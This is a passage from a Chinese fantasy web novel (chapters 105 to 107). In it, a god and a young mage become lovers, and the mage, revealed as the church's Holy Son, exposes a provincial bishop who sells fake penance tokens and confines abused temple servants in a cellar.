艾尔沉默了,这他妈说的还是很有道理! 第105章 第 105 章 或许是塞缪尔说的太有道理了, 艾尔清晰地感知到自己的心在动摇,他微微喘着气,神色却认真又冷静—— “你有没有想过, 如果几年后,或者几十年后, 你对我没兴趣了, 我们会怎么样?” “这就是你一直犹豫的原因?” “算是吧……” 塞缪尔笑了一下, 声音低沉撩人,“没有这种如果, 我喜欢的东西, 就会一直喜欢。” 祂从诞生以来就鲜少对外物感兴趣, 而祂喜欢的,都会成为祂生命中不可分割的一部分。 练剑, 从弱到强的过程是其中一件事,和小崽子待在一起,是另外一件事。 “如果我连你都不喜欢了,那我又该去做什么呢……” 祂话音一落, 艾尔就想起了初见那阵子塞缪尔给他的感觉:强大, 肆意,也有点厌世,没那么在乎死亡, 总之, 是很矛盾的性格。 艾尔心中一揪, 忽然很不放心日后神明大人不在他身边的时候。 他沉默片刻, 又问, “那如果……是我先厌烦了,过腻了总是和你待在一起的时间呢?” 塞缪尔柔和的脸色霎时变得极其危险, 小崽子倒是提醒了祂,人族…不,是所有的智慧种族,都容易情随事迁,或者喜新厌旧,塞缪尔漫长的生命中,已经见过了无数例子。 大拇指摩挲着青年柔软的脸颊,思索着是不是该在这人身上留下烙印,让他永远乖乖待在自己身边,还是该催眠他的灵魂,叫他永远喜欢着祂。 艾尔被祂幽幽的黑眸打量着,不禁有些发毛,总觉得祂在想不好的事情…… 他轻声重复,“问你呢,我厌烦了你要怎么办?待在一起的时间越久,越亲密,就越容易发生矛盾,也许我们也会有相看两厌的那天。” 塞缪尔终究放弃了刚才考虑过的想法,真那样做了,显得自己可怜又可笑。 祂气闷地看着小崽子,“你每天练习魔法不觉得厌烦,明明可以长时间不进食,还是会每天吃东西,你也不厌烦,为什么会厌烦我?” 艾尔:“……”祂的歪理还是一如既往的有说服力。 塞缪尔慢悠悠地说着,“我对你还不够好吗?我们同路的时候不够愉快吗?还是……” 祂低头温柔地吻了一会儿青年的唇瓣,在对方忍不住启唇想要回应的时候退了开来,轻笑道:“还是我亲的你不舒服?” 艾尔:“……”他刚才居然觉得那点浅吻让他心痒痒的,想贪图更多…他怎么能在谈正事的时候做这种事? 完蛋,他好像对快感上瘾了,艹,男人真是一种可悲的生物! 艾尔撇开视线,不好意思再面对塞缪尔了。 “反正我们也回不到过去的关系了,所以……要成为我的伴侣吗,宝贝儿。” 艾尔听的起鸡皮疙瘩了,他瞪了神明大人一眼,“乱叫什么,不准那样叫我!” 塞缪尔细细地吻着他的脸,语气有点像撒娇,“当我的伴侣,好不好?” 艾尔疑惑,“温斯特?” 对方不答,只是眯了眯眼看着他,艾尔才知道是误会了,面前的还是塞缪尔。 青年倒吸一口凉气——现在塞缪尔都会撒娇了吗? 他目光复杂,“你以前不是这样的。” 刚出现的时候,态度居高临下,眉宇间总是笼罩着不耐,偶尔笑一下都是冷笑或嘲讽,谁能想到祂还这么会勾引,蛊惑,撒娇啊! 艾尔亲身感受评价:嗯,真的很会! 别说他了,以前的塞缪尔也没想到自己还有这一面,不过……管它呢,有用就行,而且跟小崽子亲昵的时候很有趣,祂很喜欢。 “难道你更想让我强迫你?”祂放在青年脸颊上的手顺势捏了一下,再问了一遍,“要当我的伴侣吗?” 艾尔没有立即拒绝,其实他刚才又被说服了一点点,那句“反正回不到过去的关系”是事实,而他又不想跟这人分道扬镳。 塞缪尔看出他眼里的挣扎,愉悦地帮他做了决定,“你没有拒绝,我就当你同意了。” “???” 青年睁大的双眸满是震惊。 塞缪尔自信道,“反正你迟早会同意的,我在帮你节省时间。” “……”谢谢啊。 漂亮的银发青年抿唇不语,柔软的脸颊微微鼓起,气闷地看着正笑得春风得意的某神,却也没开口否认。 塞缪尔又亲了他一会儿,暗火汹涌的双眼直直地盯着他,“你是我的了。” 呵,说的好像平时没把他当所有物一样……对哦,这么一想,他接不接受这段感情真没多大区别,也就是多了点名正言顺的亲密接触而已。 或许是被亲的太舒服了,欲望压倒理智,或许是这个夜晚气氛正好,勾起了他想谈恋爱的心思,也或许是他对塞缪尔太容易心软了,不想让祂失望…… “嗯…”你也是我的了。 几不可闻的声音,塞缪尔听的清清楚楚,祂心脏鼓噪的厉害,与曾经打架正在兴头上的感觉不一样,现在要更兴奋,更满足……又矛盾的不够满足,想把这一切陌生的感情宣泄在青年身上。 艾尔再次被裹挟进汹涌爱欲之前,想着今晚是没法再学习了,也没法睡觉了,看这架势得亲一整夜。 啊……算了,刚脱单是可以放纵一下的,等亲过瘾了,天亮后就能冷静了吧。 正这样想着,艾尔忽然睁眼抓住神明大人正在往他衣服里钻的手。 带着薄茧的手指擦过他的腰身,有点痒,引起一阵颤栗,正在认真接吻的青年一下就被拉回了理智! 清醒后,对方身体上的异样他感受的更加明显,艾尔直接慌了,“你、你别乱摸。” 塞缪尔蹙了下眉,“是直接脱衣服吗?” 祂对这种事又没了解,刚才只是顺着本能行动,是祂碰那里让小崽子不舒服了? 艾尔:“……?” 他额角神经一跳,“你想做什么?” 塞缪尔理直气壮,“不是该交合了吗?” 前段时间在深渊的时候祂就开始好奇那是什么感觉了,现在不正适合做这种事? 艾尔:=_= 一个寡了数万年,毫无经验的处男,为什么突然对这种事这么积极? 他狐疑地盯着新上任的男朋友,“你该不会是为了做这种事,才想跟我当恋人吧?” “不是。”塞缪尔一如既往的直白,“不过我很想和你做,别人都很喜欢这种事,你不好奇吗?” 艾尔看着男朋友跃跃欲试的样子,冷酷拒绝:“不,一点也不好奇,我不同意你就不能和我做,敢强上我真的会生气。” 刚刚才决定好跟个男人在一起,他还没做好被上的心理准备,而且塞缪尔……接个吻都凶的像是要吃人,做完全套他还能活吗? 塞缪尔看了他一会儿,见他态度是前所未有的坚决,只能就此作罢,没再继续扒拉小崽子的衣服了。 因为一直得不到宣泄,塞缪尔将青年缠得更紧,似撒娇似委屈地蹭了蹭,身上像着火一般滚烫,艾尔觉得自己都要融化在祂怀里了。 他推了推身上的男朋友,“好重…快起来。” 塞缪尔脸色狠狠地咬了青年的唇一口,力度却是与脸色相反的轻。 知道继续贴在一起只会更难受,祂翻身坐了起来。 两人各自泡了个冷水澡,身体终于冷静下来了。 艾尔舒了一口气,决定以后要控制好接吻的度,他可不想每天都这么难受。 现在已经很晚了,但两人精神太亢奋了毫无睡意,艾尔打算练一夜魔法,塞缪尔坐在他旁边看着,偶尔进行一点指导。 等天边的第一缕霞光出现时,塞缪尔在新到手还没捂热的恋人的哄劝下,不情不愿地换上了温斯特的意识。 “哥哥!” 温斯特在第一时间就接收到眼前人已经是他恋人的深刻印象,他喜不自胜地抱住了人,又亲又蹭。 艾尔被他一声声的“哥哥”喊的头皮发麻,背德感让他很是心虚,终于开口要求:“别、别在做这种事的时候叫我哥哥。” 温斯特疑惑看他,很快便恍然大悟,蹭了蹭哥哥的鼻尖,“真可爱。” 可爱个鬼! 艾尔将贴在身上的人撕开,准备收拾收拾出门了。 “对了,不能暴露我们的关系。” 温斯特乖巧点头,虽然不满在外面要保持距离,但若是被教廷知道了,那群老东西一定会找哥哥的麻烦的,哥哥最不喜欢跟他们打交道了,现在也没办法直接把教廷掀翻,所以温斯特只能配合哥哥。 艾尔看他这么听话,心头一软,第一次主动贴上了恋人的唇,“真乖。” 两人的唇昨夜就亲的有些充血,不严重,但别人一眼就能看出异样,万幸艾尔是个光系法师,一道治愈术便恢复如初了。 艾尔开门,见周围没有别人,才让温斯特跟着出来。 艹……好心虚啊,谈个恋爱怎么跟偷情似的。 不多久,大家陆续打开房门出来汇合了。 虽说奥斯顿对金佰莉已经没有爱欲了,但他的同情心还在,打算在和好友清理完明伽分庭和城主府之前为可怜的女孩儿提供保护。 现在,他们在送女孩儿去饭馆做工的路上,金佰莉走在前面,王子殿下庆幸的跟艾尔唠叨,“你不知道,我最近每天都在想跟她求婚,幸好我不是那种放浪的人,怕吓着人家一直没敢开口,不然现在多尴尬啊!万一她答应了,我现在都不知道该怎么办。” 最后他还感慨了一句,“啧~爱情这玩意儿真不靠谱,说没就没。” 艾尔也说不清为什么,听了他的话扭头看了旁边的温斯特一眼,正巧对方也正看着他。 温斯特记得,昨夜哥哥就和塞缪尔提过如果不爱了的问题…… 哥哥现在为什么要看他?是不是认同了刚才听到的话?是不是后悔和他在一起了? 可恶,这是什么晦气话题,该死的奥斯顿! 艾尔看温斯特紧张兮兮的样子,忽然就被逗笑了,冲他眨了一下眼,对方接收到安抚信号,神色肉眼可见的放松了。 食馆门口,看起来有六十岁,实则已经两百多岁的红衣主教正拄着法杖守在那里。 体型微胖,面容和蔼,身披金丝边的暗红色长袍,看起来是值得信任的引导者。 他身后是几名强壮的教廷骑士,还有众多信徒,看着走过来的美丽女孩儿,表情有恐惧有厌恶。 “金佰莉,被恶魔污染的可怜孩子,请随我一起侍奉伟大的光明神吧,让吾神清除你身上的邪恶诅咒吧。” 康奈尔本来跟惠特曼那个老东西僵持住了,都想带走这个女孩儿,但是互有把柄,才没有为了抢人打起来。 昨日金佰莉跟着几个有钱少爷离开了,主教和城主都想着,她一定会跟着那些外来者离开的。 不行……他们整颗心都落在女孩儿身上了,城主最近对他的情妇们没兴趣了,主教也对美丽的少女神仆们没兴趣了,他们如今所有的欲望都因她而起,她怎么能离开? 两人默契地达成协议,主教用那个老套的理由带走女孩儿,城主不会阻拦,他们要将金佰莉永远留在明伽城! 金佰莉看了看围住自己的骑士和狂信徒,忍住翻白眼的冲动,装出一副倔强的小白花模样,“你、你不要再胡说了,我从来没有接触过恶魔,怎么会被污染!” 信徒们见她抗拒,开始大声指责:“你一个普通人,当然看不出来!” “主教大人都是为了你好!真是蠢笨的愚民!” “能进教廷是多么大的荣耀,伟大的光明神会庇护你的。” “就是,你应该心怀感恩的跟主教大人离开才对!别到处乱走害了我们!” 金佰莉还没有蛊惑普通人,受了一通教训也不奇怪。 奥斯顿看不下去了,挡在金佰莉面前,讽刺道:“听说这座城的教堂里有不少被黑暗污染或者恶魔附身的年轻女孩儿,看来明伽城很危险啊,主教大人为什么不直接找到源头,斩草除根。” 康奈尔成为主教之后,已经很久没人用这种不敬的态度跟他说话了,他心情不愉,但是他走在外面很注意形象,只能继续装温和:“年轻人,听你的意思,你是不相信我吗?哎~我们光明教廷的人,对恶魔附身过的人最为了解,你要相信我的判断。” 奥斯顿还没怼回去,有一道清朗温和的声音悠悠响起,“我没有看出她被恶魔附身过,康奈尔阁下是有什么依据吗?” 主教闻声看向金佰莉身后,有一个身穿黑斗篷的青年正慢慢掀起兜帽,露出了完整的面容和一头漂亮罕见的银发。 召唤神明亲选圣子的那天,他在王城的主教廷见过这个年轻人…… 康奈尔瞳孔一缩,“圣、圣子殿下?” 金佰莉:“?!!” 第106章 第 106 章 在场只有两个人受到了惊吓, 主教,和刚刚被维护了的金佰莉。 魅魔小姐在银发青年放过她,允许她继续做自己的任务的时候就很不理解了, 此刻得知青年的身份,更是脑袋里塞满了问号。 她那来凡界更早的同伴, 已经从勾搭的神官那里打探到消息, 教廷在不久前召唤了光明神降临亲选出了圣子。 魅魔们一致认为那名圣子必然是虔诚的狂信徒, 深得光明神信任,视所有黑暗天赋者为威胁并励志将之铲除的那种人, 结果呢?那个允许她去搞教廷的人族是光明圣子? 金佰莉本来还以为这位艾尔少爷是没有被选为圣子, 对教廷心怀怨恨的那类人呢! 她万分不理解, 光明神到底是依据什么选人的? 瞧他这让主教当众下不来台的举动,是真不在乎损害教廷名声啊! 银发青年勾出一抹浅笑, “康奈尔主教,很高兴你还记得我。” 周围的信徒们是知道光明圣子的存在的,前段时间主教大人去往王城,亲眼目睹了神明的降临, 作为虔诚的教徒, 主教也有幸得到了神恩庇护。 当然,主教还给他们讲述了圣子殿下是多么完美,从容貌到天赋, 从虔诚信仰到仁慈聪慧。 在信徒心中, 被神明选出来的, 就等于神的代言人, 所以艾尔根本不需要费心思和他们打交道, 他被主教喊出身份的那一刻起,就在信徒心中拥有了极高的地位。 青年有着天边月一般遥远不可触的清贵气质, 也有如月色般温和美丽的容貌,加上信仰之力buff带来的信服感,他在没见过什么世面的平民眼中,与神无异! “天呐~真的是圣子殿下来了,作为明伽城的城民,我真是太幸运了!” “殿下是来帮助我们的吗?” 艾尔本来要和主教说道一番的,没料到周围的信徒齐刷刷的跪倒在地,对着他双手合十,开始祈祷,感恩,赞美,一双双眼睛分外热忱地看着他。 “……”太夸张了吧! 王城的民众尊敬他,但也没有这么大动静的下跪过,他还是第一次遇到这种事。 或许是因为这个城市比较偏远,对真正的权贵人物都抱有敬畏之心吧。 青年笑意依旧浅淡,“我能看出各位的虔诚,帮助世人是教廷神官的职责,不需要跪拜我,请起身吧。” 艾尔没有闲心去和一群正处于兴奋中的狂信徒聊天,他也懒得管周围的人站起来没有,再次看向僵在原地的主教,“身为光系天赋者,我没有在金佰莉小姐身上看到一丝的黑暗气息,不知道康奈尔主教以什么为依据断定她身负诅咒呢?” “既然殿下这么说了,我当然相信您的判断。”主教咬牙,不甘的承认:“是我误会了。” 他心中暗骂,这个愣头青,有什么问题不知道私下跟他提吗?非要当着这么多人的面点破,一点也不知道顾及他、不,顾及教廷的颜面和权威。 打算逼迫金佰莉进教堂的狂信徒们面面相觑,心里都有些迷茫,主教大人……也会犯错吗? 如果是别人,哪怕是城主出面反驳主教的判断,大家都会坚定地站在主教的这一边,但是,从权威性而言,当然是被神明亲自选择的圣子更靠得住了,所以比起主教大人,信徒们更愿意相信第一次见的圣子殿下的话,哪怕他看起来非常年轻。 “我偶然路过这里,既然遇上了,就麻烦主教带我去教堂了,我希望明伽分庭的牧师和神仆们都是符合资格的人。” “对了,如果民众们有苦恼、迷茫之处,我和王子殿下很乐意提供帮助。” 主教听圣子的意思,是要审查分庭的人员有没有遵循教规,他正心里发虚,又听圣子提到了王子殿下……主教看向了刚才嘲讽他的金发青年。 金佰莉僵硬地站在旁边,已经麻了,呵呵,她运气可真好,这么遥远普通的小城都能撞上两个人族中的顶层人物。 如果一开始就知道他们是谁,就算银发青年没有发现她的身份,金佰莉也不会靠近他们——谁知道哪天一个大人物会出现在他们身边,比如剑神法神什么的,一巴掌把她给拍死! 周围的民众们安静如鸡,有些瑟缩,平民都是厌恶恐惧权贵的,但是又不敢表现出来。 神官自认他们是神明的下属,比其他人更高一等,哪怕是王族,也没有资格对他们指手画脚。 对于王子殿下出现在明伽城这件事,主教并不紧张,他向奥斯顿行了一个简单的礼,对圣子劝道:“殿下,奥斯顿王子并非信徒,恐怕不能参与教廷的事务。” 信徒们也不想要王子的帮助,说得好听,权贵只会找各种借口从穷人身上捞钱,相比之下,他们更信任光明教廷。 同样会交钱,但那是为了修缮教堂,维持运行,神官大人们会帮他们抓恶魔,净化灵魂,有时还会提供免费食物和衣物给无家可归的人。 但这位年轻圣子是个我行我素的人,根本不管“不允许王族干涉教廷事务”的潜规则,青年顶着一副容易让人信任的面孔,“救苦救难并非是吾神信徒才可以做的,不管是谁,只要心怀怜悯,愿意提供帮助,我们就该欢迎这样的人。” “我与王子殿下相识多年,他是个英勇公正,有着纯洁灵魂的人,是吾神最欣赏的一类人族,我相信他会和我们一样,拯救沦陷于苦难的民众。” 俊朗的王子殿下肃着脸,配合地点头,加上他嫌华丽的衣服太累赘影响他拔剑,穿的很简洁,又不像其他权贵那样喜欢拿鼻孔看人,信徒们便没那么抗拒他了——看起来确实是个不错的年轻人,而且圣子殿下都那么说了…… 主教脸色难看:他在说教廷规矩,圣子要提光明神,神都欣赏像王子这样的人了,他哪敢再拒绝。 “殿下说的对,哎,是我思想太狭隘了,想着吾神当初帮助人族延续下来,我们就该感恩于祂,成为祂的信徒,其他人都是忘恩负义之辈,却忘了看到其它的优点。” 老人一副虚心受教的模样,“多谢殿下让我意识到自己是心怀偏见地看待世人,我会改正这一点,希望吾神能原谅我的过错。” 给自己找了借口又树立了诚实正直的形象,奥斯顿抽了抽嘴角,怀疑教廷任命神官的时候是不是更看重能说会道、会忽悠这一点。 刚才还因为主教误会了金佰莉而对他少了点信任的信徒,听完这番话,信任又回来了,甚至还多了几分亲近:主教大人也是人,当然会犯错,但是他会反省会承认会改正,不愧是教廷仔细选择的神官啊,他的美好品德真是让人钦佩! “殿下,我这就带路,请随我一起到教堂吧。” 附近的平民,不管是不是光明神的信徒,都跟着去了,毕竟银发青年都说了他们是来帮助大家的,万一是真的呢。 金佰莉想随大流跟去看热闹,然而被她主人那双冰冷的眼神逼退了。 温斯特警告了一句,“认真工作。”既然当了哥哥的员工,总不能白拿工钱。 —— 康奈尔主教负责的分庭的确有很多不能暴露的肮脏秘密,但大概是因为圣子还太年轻,刚上任不久,尚未做出什么大事来立威,再加上他们一行人太少了,不如一队圣骑士声势浩荡,对主教来说,也就没多大的威慑力,他现在有些心虚,但并不恐惧。 到了那座风格熟悉至极的高大建筑,艾尔先被带到主殿,拱门圆顶,墙壁上是神明救世的彩绘故事,三米高的白玉神像矗立在高台之上,下方是一排排长椅,标准的布道场地。 主教走远几步,和一直留在这里的牧师耳语几句,又笑着来找银发青年了,“殿下,我已经让人去叫其他牧师和神仆过来了,您稍等片刻。” 一直留意着主教的亚尔林悄声提醒殿下,“他让人去把听话的神仆叫过来,其她的先藏起来。” 主教是法师,不清楚剑师的五感有多灵敏,这才被几步之外的亚尔林听了个清楚。 艾尔不动声色,随后又笑着问主教要了账目本。 康奈尔很不安,但他不能不给,更不能说没有。 无论是账目本,还是分庭的人员,很快都来到了主殿。 另一边,派人盯着金佰莉的城主已经得到了消息,“王子殿下?王族的人怎么会突然出现在这个城市?!” “嗯?还有教廷的圣子…他们都去了教堂?” 惠特曼眼珠转动,他在犹豫要不要去见一见那位王子。 他们一行人这么少,肯定只是路过这里,见到了金佰莉才多停留了几日,不是特意来找他的,很快又会离开。 既然如此,他可以当作不知道这件事。 不见,没有坏处,见了,还得把人邀请进他的庄园,备上一堆贵重的礼物,好声好气的哄着供着,还得不到任何好处。 多的是权贵想通过拍马屁获得更大的地位,但他是城主,再升就要进王城任职了,他在这个王室基本看不到的位置待的挺舒服,并没有升职的想法,所以去邀请王子来做客真是一点好处都没有。 没犹豫多久,惠特曼便决定在庄园龟缩几日,只要他不知道王子来过,就不存在失不失礼的问题。 哎……只是可惜了美丽的金佰莉,她一定会跟着殿下离开这座城市的。 一想到永远也得不到那个让他心痒难耐的女孩儿,老人脱力般地坐了下来,承受着失恋的痛苦。 —— 教堂中,跟过来的三百多个城民规规矩矩地坐在长椅上,其中有信徒,也有怀着一丝希望想得到帮助的非信徒。 大家还以为圣子殿下会举办一场圣光救世会——他们听主教大人提起过光系天赋者是如何帮助平民的,在救世会上,所有的病痛都会被圣光治愈,灵魂都能得到安抚。 可惜他们离主教廷太远,大陆辽阔,城镇众多,没有意外的话,光系天赋者是不会来到明伽城的,谁能想到今日从天而降了一位圣子殿下呢? 但殿下没有传教,也没有让他们见识到神奇的治愈术,而是让他们先和王子殿下聊一聊明伽城的物价、治安、税收、天灾什么的。 艾尔快速地翻看账目本,他不需要计算账目能不能对上,只看钱款来源和支出。 厚册子里面的收入都是善款和正当交易盈利,支出大部分用于维护教堂和提供给穷人的免费食物衣物,少部分用于神官的月俸。 旁边的主教和牧师们听那些愚民抱怨着生活的不如意,听的汗流浃背,虽然那些内容跟他们无关,但是他们现在很担心圣子等会儿会详细过问,分庭这边是怎么帮助大家的。 要知道,他们的很多“帮法”都是在骗钱骗色,是明显违反教规的! 如果换个地方,有权贵来问民众日子过得好不好,大家怕对方是个笑面虎,也不敢说不好。 但是教堂有神明庇护,让他们多了几分安全感,所以都鼓起勇气诚实作答了。 奥斯顿听得暴跳如雷,“为什么你们交了这么高的税?这可是法令规定的两倍!而且穷到吃不饱饭了还交什么税?” “明伽城五年前有干旱吗?城主府放粮食高价卖?为什么不上报到王城,陛下会派水系魔导师来降雨的啊!” 双方都是越说越气。 正是因为地域辽阔,离王城远一些的地方不好监管,方便富商贵族无视律法,剥削平民,再加上光明教廷拿着救苦救难的旗号收买人心,这个国家才一直像盘散沙,人族也团结不起来。 刚得知城主违反了众多法令的民众们,暗自希望看起来很气愤的王子能把怒火发泄到城主身上,得到惩罚后明伽城的贵族们就会收敛一点吧,他们以后的日子也能好过些…… 神官们也应和着,对对对,民众们过得有多苦,他们这些年都看在眼里,可惜他们没权没势的,干涉不了城主府的决定。 刚才一直没出声的银发青年合上了账目本,他看着和贫民感同身受的主教和牧师们,语气柔和,音量又刚好能让几百人都听见,“怎么不联系主教廷呢?同在王城,主教廷的神官们可以代传消息给陛下。” “干旱的话,教廷也有很多水系法师能解决这个问题,派遣一位过来并不困难。” 整个主殿鸦雀无声,所以神官们能清晰听见自己的心脏跳的有多大声。 第107章 第 107 章 几个神官僵着身体, 一动不敢动,生怕被圣子殿下注意到。 他们大脑飞转,想找个借口回答殿下刚才的问题, 但是…… 找不到,想不出任何合理的借口! 毕竟传消息到王城那边又不需要跋山涉水, 又没有被灭口的风险, 只是用水晶球而已, 分分钟就能解决的事情! 而他们能说没有联络水晶球吗?不能,主教廷始终确保着每个分庭都能随时联系上, 以便传递命令, 接收情报, 所以水晶球肯定是有的。 神官们好一会儿没回话,民众的心也越来越沉。 艾尔懒得等他们编借口, 转头温和地看着民众,“我对明伽城的情况不了解,不知道康奈尔主教他们是如何为大家提供帮助的,能和我仔细讲一讲吗?” 如果圣子刚才没有捅破神官可以帮他们向王城求救的事实, 如果不是神官们回答不上来问题, 还面露心虚尴尬,信徒们会立刻积极回应殿下的问题,热情地赞美神官大人们。 但是他们现在很是迷茫, 神官们……是真心想要帮助他们这些贫民吗? 因为刚从王子殿下那里得知了很多真相, 都是些糟糕的事情, 无一不跟权贵剥削他们钱财有关。 此时民众们正敏感着, 银发青年这一问, 他们就想起了教廷的很多帮助,都是收了钱的…… 比如有人犯了错, 哪怕是撒个谎,骂个人,主教都会劝他们买赎罪牌,以免去世后灵魂堕入地狱。 比如花钱购买清扫主殿,打扫神像上灰尘的机会,以便光明神能看到他们,从而提供庇护。 比如生病的信徒,要花大价钱购买圣水饮用,驱逐病魔。 还有募捐,这些钱是用来维护教堂完好的,也用于救助流浪者,如果不出钱,就说明你不够心善,光明神是不会庇护你的。 可是提供给流浪者的衣物是信徒们捐赠的旧衣啊,食物也是只是便宜不管饱的稀粥。 除了这些,还有很多很多例子…… 神官们说过赎罪牌制作起来很费时间和精力,圣水的原材料很贵重,每次驱逐恶魔都会受伤,需要很多魔药治疗…… 因为各种原因,信徒们觉得他们给的钱都是在教廷放一放,很快又被神官付出去了,换回来的东西最终都是用来帮助他们的,所以从未起过疑心,直到现在。 信徒还在迷茫和怀疑之中,机灵点的非信徒看出了圣子殿下的态度,他们没给过教廷一个铜币,但平时和信徒交流过,对神官们做了什么一清二楚。 犹豫了一番,冲动点的年轻人还是顶着事后被主教们报复的勇气,讲述了他们是如何“帮助”信徒的。 银发青年情绪稳定的听完了,然后似笑非笑地看向主教:“赎罪牌?还有这么厉害的东西,我在主教廷从来没听说过,是康奈尔主教研究出来的铭文器具吗?” 几位神官冷汗直流,不是因为被圣子发现了这件事,而是因为圣子在信徒面前质疑他们。 其实这种事情在全国都很普遍,只有主教廷的人实力强大,财大气粗,不用花心思捞钱,一心只放在帮神明扩张信仰上。 这种事已经存在很久很久了,难道不是整个光明教廷心知肚明的吗? 就算这个圣子因为太年轻,没有听闻过,看不惯这种事,就不能私下说吗? 当众落他们面子,以后他们还怎么管理明伽分庭! 当着信徒们的面,他们当然不能说实话,也不能保持沉默,否则所有人都能看出他们骗人心虚了,主教只能甩锅装傻,“我、我们也是听其他主教说的,我刚成为神官那阵,很多东西都是跟前辈们学的,说是赎罪牌上有神力庇佑。” 艾尔问他们要一张赎罪牌,主教借口已经发完了,新的还没有制作好,但是在场有一堆买过的信徒可以提供。 不过是半个巴掌大的小木牌,上面用古语写着赎罪,贫民信徒们看不懂,只觉得很高深,买来后日日戴在脖子上。 青年神色淡淡,“没有神力,什么用都没有,以后就不要卖了。” 信徒们一片哗然。 没有被责骂,圣子看起来没有很生气,但是神官们反而感受到一阵凉意,再找借口:“一定是我们本事小,没有做成功!哦~感恩吾神,指引着圣子殿下来到明伽城,为我们指明过失!殿下放心,之后我们会将收取的财物退回到信徒手上的。” 奥斯顿站在一边,嘲讽地哼笑一声,让神官们的表情更加僵硬。 民众沉默地坐在长椅上看着神官们。 他们贫穷,愚笨,他们没见过世面,神官们已经是他们认识的人中最地位超然的了。 尤其是他们与“神”这个字眼沾边,在信徒眼里已经是另一个世界的存在了,所以信徒们一直都很敬畏他们。 但是此刻,看着他们对银发青年诚惶诚恐的模样,那一而再再而三犯了错再找借口的行为,忽然让信徒们觉得……他们是如此的丑陋,和那些贪婪的贵族们一样丑陋。 尤其是旁边有一个真正与神明接触过的圣子殿下做对比,殿下圣洁,公正,看起来就是一副不沾金银俗物的模样,衬得主教们又矮又丑! 康奈尔主教怕圣子再捅破点其它事情,认完错,在青年再次开口前就岔开话题,“殿下打算在明伽城留几天?需要我们召集全城的信众,办一场圣光救世会吗?” 旁边的牧师连连应和,“如果殿下愿意,这是一件大好事啊!被病魔折磨的信众们终于有救了!” 心情还沉闷的信徒们听到这番话,目含希冀地看着银发青年,小心翼翼地开口:“殿下,我们可以见识到圣光吗?” “求求您了殿下,我的母亲摔了腿,已经没办法走路了……” “我的小女儿,咳嗽病一直不见好,求殿下帮帮我们。” …… 卑微的祈求声一再响起,面对民众,青年刚才冷淡的神色缓和了很多,“当然可以,在离开明伽城之前,我会办一场救世会的。” 下方一片欢呼,又有人颤着声音问道:“殿下,需要多少金币才能进场触碰到圣光啊?” 兴奋还没过就被泼了一头冷水,现在大家都紧张起来了。 他们一共也没几个金币的存款,但是听闻圣光很是神奇,是立马能让病痛消失的,有这个需求的信徒咬咬牙,想着贵点也值得! 眉目温柔的青年缓缓摇头,“不需要钱,对我来说不是什么麻烦事,不过我希望无病无灾的民众不要到场,将位置留给需要帮助的人。” 他笑了一下,“不然太挤了,大家都找不到我在哪儿。”不限制人数,怕不是全城都来凑热闹了,哪儿能挤这么多人啊。 不要钱? 别说被骗了很多钱的信徒了,哪怕是一向对神官敬而远之的非信徒,都忍不住鼻头一酸,开始抹泪了。 艾尔可没耐心安慰这么多人,他还有正事要做。 主教们其它的敛财手段先不提,他看向乖巧站在不远处的神仆,五名容貌姣好的女性,年龄看起来十四五岁到二十几岁不等,还有一个身形纤瘦的白净少年。 他向神仆们招手,“过来。” 年轻人们应声向前行礼,脸色平静,似乎对刚才亲耳听见的主教们犯的错毫无想法。 不好的预感再次降临,主教试图阻止他们交流,“殿下……” 跟在圣子身边,从来没开过口的骑士迈出一步,刚好挡在他们面前。 被那双森冷黑眸不耐地看了一眼,主教就像被掐住了脖子,说不出话了。 “你们是因为什么原因,才来到这里成为神仆的?” 少男少女们露出感恩的笑容,“我很幸运,是主教大人发现我被恶魔附身过,他愿意拯救我不洁的灵魂。” “是阿诺德牧师发现我被诅咒了,他……” 他们一一讲述了自己的故事,艾尔沉默片刻,不得不告诉他们真相,“我没有在你们身上看到诅咒和黑暗污染的痕迹。” 年轻人们不觉得疑惑,或者震惊,她们反而很高兴:“真的吗?哦~这一定是神官大人们的方法起作用了!我们被拯救了!” “……”艾尔扶额,他们的反应也在预料之中。 金佰莉提起过,有的神仆在入住教堂之前就是信徒,对神官说的话深信不疑,又在教堂被洗脑了这么久…… 已经经历了这些糟糕的事情,她们潜意识里就抗拒真相,这种心理问题需要长时间的治愈,艾尔也没有其它办法。 主教们刚松了一口气,下一瞬心又提起来了—— “我听说还有其他神仆,怎么就只有你们几个过来了?” 因为过来的急,神官们之前也不知道圣子要搞审查,就没跟她们讲什么不能说,所以年轻人们回答的非常老实,“她们体内的恶魔还没有离开,会有危险的举动,不能放出来的。” “她们可凶了,不喜欢人靠近,殿下,您可以帮助她们驱走恶魔吗?这样她们就可以恢复正常了!” 艾尔顺势应下,“当然,我很愿意帮助她们,你们可以为我带路吗?” 神仆们看上去真的很激动,“可以可以!哦~天呐,朱莉她们真是太幸运了,有您在,她们能更快的恢复了!” 艾尔交代了奥斯顿一些事,留他继续和民众们在主殿交谈,他带着两个骑士,跟着神仆们离开了。 主教们唯一庆幸的是,圣子殿下居然没让那群愚民跟过去,他们还以为圣子今日是打定主意要当着愚民的面撕碎他们所有的谎言呢。 主教们甚至觉得圣子是刚上位,特意选了他们这群实力低微又没什么后台的收拾一顿,好立个威。 既然神仆们的事情要私底下解决,那他们等会儿认个错就行了吧,反正这种事情在各城分庭很常见,凭什么只处罚他们呢。 艾尔跟着神仆们进了一个屋子,里面只有一个守卫,看见主教们陪着几个陌生人过来,疑惑地退开了。 神仆们拉开一块地板,“殿下,她们在下面。” 青年蹙眉,“怎么关在地窖里?教堂不是有很多空房间。” “哎呀,她们可凶了,会把房间里的东西都砸坏的,只能关在地窖里了。” 一团柔和白光飘下了地窖,照亮了三个瑟缩的身影,还有一个瞪着眼,看起来恨不得咬下他们一块肉的明艳少女。 朱莉看见陌生的银发青年,愣了一下,这人……比她还好看,这么好看的人也好色吗? “她们没有被恶魔附身过,有很干净的灵魂。” 朱莉:“?”好久没听见一句人话了。 打开地窖门的女人疑惑道:“可是殿下,她们的情绪很不稳定,尤其是朱莉,她脾气很差,总喜欢咬人,难道不是她体内的恶魔想吃人肉吗?” 艾尔还没开口,下方的少女就开骂了,“闭嘴!你这个没脑子的东西,每次听你们说话就恶心!哪个正常人被又老又丑的骗子□□了不发疯啊?!” 朱莉一句脏话不重复的开始辱骂,谁呵斥她都不闭嘴,还回了一句“呵呵,不就是喜欢我够野够带劲才留我一命嘛,怎么又不让我说话了,是不喜欢了吗?” 神官们脸色涨红,根本不敢看圣子是什么表情。 艾尔让她尽情宣泄,本来沉重的心情又让她闹得轻松了一点,听到很脏的嘲讽没忍住笑了一下,没发出声音,但还是引来了女孩儿的目光,也或许是她一直在留意着他。 